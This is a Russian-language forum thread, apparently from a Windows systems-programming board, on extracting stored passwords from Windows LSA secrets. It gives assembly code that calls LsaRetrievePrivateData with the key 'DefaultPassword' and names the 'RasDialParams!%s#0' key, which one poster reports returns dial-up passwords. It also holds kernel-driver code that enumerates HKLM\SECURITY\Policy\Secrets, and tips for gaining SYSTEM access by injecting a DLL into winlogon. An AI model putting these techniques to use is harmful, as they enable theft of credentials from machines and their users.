у Ratter'a/29A есть статья "Gaining passwords" там спомошью такого нехитрого кода получаем дэфолтный пароль входа в систему: Code (Text): ;- Retrieving DefaultPassword - ; Lsa* apis are exported by advapi32.dll key_name dw name_length dw name_length dd offset _name_ _name_ dw "D", "e", "f", "a", "u", "l", "t", "P", "a", "s", \ "s", "w", "o", "r", "d" name_length equ $-_name_ @pushvar <policy_handle dd ?> push 1 call $+5+6*4 dd 6*4 dd 5 dup(?) push 0 calle LsaOpenPolicy @pushvar <private_data dd ?> push offset key_name push dword ptr [policy_handle] calle LsaRetrievePrivateData mov eax, dword ptr [private_data] ; now in eax ptr to an UNICODE string xchg eax, ecx jecxz next ; which contains the DefaultPassword push eax mov eax, dword ptr [eax+4] ; now in eax the *DefaultPassword push eax calle LsaFreeMemory calle LsaFreeMemory push dword ptr [policy_handle] calle LsaClose попроболвал, действительно работает ) интересно откуда он это узнал что keyname в LsaRetrievePrivateData должен быть равен "DefaultPassword"? поискал в мсдн, не нашёл, там только про приставки к этим ключам? (может плохо искал?) поиск по форуму вывел на "L$_RasDefaultCredentials#0", который буд-то бы должен был вернуть пароль от RAS соединения, но это у меня уже не работало... ещё в гугле нашёл "RasDialParams!%s#0" но даже не стал проверять т.к. написано что это только для w2k вопрос: откуда они узнали имена ключей или где их взять, может ещё кто знает какие есть? ЗЫ на форуме нашёл линк на програмку dialuppass2 она кстати показывает парольчик от RAS, щас буду её курить..
как оказалось на моём w2k3 sp1 работает способ который я не стал проверять в #1 т.е. с "RasDialParams!%s#0" ... его то и юзает dialuppass2 странно почему нет статей на эту тему, а гугл выдаёт буквально пару ссылок по теме, ведь совсем не сложно таким макаром поиметь парольчик на dialup
Klayd интересно у меня такой ветки не наблюдается, поиск по реестру ключевых слов RasDefaultCredentials, RasDialParams так же как и Registry ничёго не дал
ясно, а можешь перечислить что там ещё есть? я пока не распологаю достаточными знаниями для написания драйвера
Code (Text): PWCHAR nameBuffer = (PWCHAR) NULL; RtlInitUnicodeString(&KeyString, L"\\Registry\\Machine\\SECURITY\\Policy\\Secrets"); InitializeObjectAttributes (&ObjectAttributes, &KeyString, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = ZwOpenKey (&KeyHandle, KEY_ALL_ACCESS, &ObjectAttributes); DbgPrint("\n***ZwOpenKey with status: 0x%lx", Status); KeyInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_BASIC_INFORMATION) + 200); while(NT_SUCCESS(Status)) { Status = ZwEnumerateKey(KeyHandle, Index, KeyBasicInformation, KeyInformation, sizeof(KEY_BASIC_INFORMATION) + 200, &ResultLength); nameBuffer = ExAllocatePool(NonPagedPool, KeyInformation->NameLength + 2); memcpy(nameBuffer, &(KeyInformation->Name), KeyInformation->NameLength); RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyInformation->NameLength), 2); DbgPrint("\n %ws", nameBuffer); ExFreePool(nameBuffer); Index++; } ExFreePool(KeyInformation); DbgPrint("\n***Status of ZwEnumerateKey: 0x%lx \n", Status); Index = 0; Status = STATUS_SUCCESS; KeyValueInformation = ExAllocatePool(NonPagedPool, sizeof(KEY_VALUE_FULL_INFORMATION) + 2000); while(NT_SUCCESS(Status)) { Status = ZwEnumerateValueKey(KeyHandle, Index, KeyValueFullInformation, KeyValueInformation, sizeof(KEY_VALUE_FULL_INFORMATION) + 2000, &ResultLength); nameBuffer = ExAllocatePool(NonPagedPool, KeyValueInformation->NameLength + 2); memcpy(nameBuffer, &(KeyValueInformation->Name), KeyValueInformation->NameLength); RtlZeroMemory((PVOID)((ULONG)nameBuffer + KeyValueInformation->NameLength), 2); DbgPrint("\n %ws", nameBuffer); ExFreePool(nameBuffer); Index++; } ExFreePool(KeyValueInformation); Вот примерный код, который выводит содержание того ключа DbgPrint'ом
Любой редактор реестра с поддержкой установки разрешений для ключей. Выставляете админу (или кем залогинились) права на чтение HKLM\Security и дальше читаете что надо. Либо запускать редактор реестра от имени SYSTEM.
rain я делал так. Внедрял дллку в винлогон. Дллка открывал консоль. А там уже в консоли regedit.exe и пошел. В результате редактор реестра у тебя будет запущен с правами системы.
IceStudent для ат нужна служба расписаний, а вообще вариант со службой более дзенский [add] кстати открытого парольчика нет если смотреть через реестр.. там 5-ть подразделов: CupdTime CurrVal OldVal OupdTime SecDesc Логично предположить что CurrVal это и есть какой-то шифрованый пароль (там аж 64 хекса)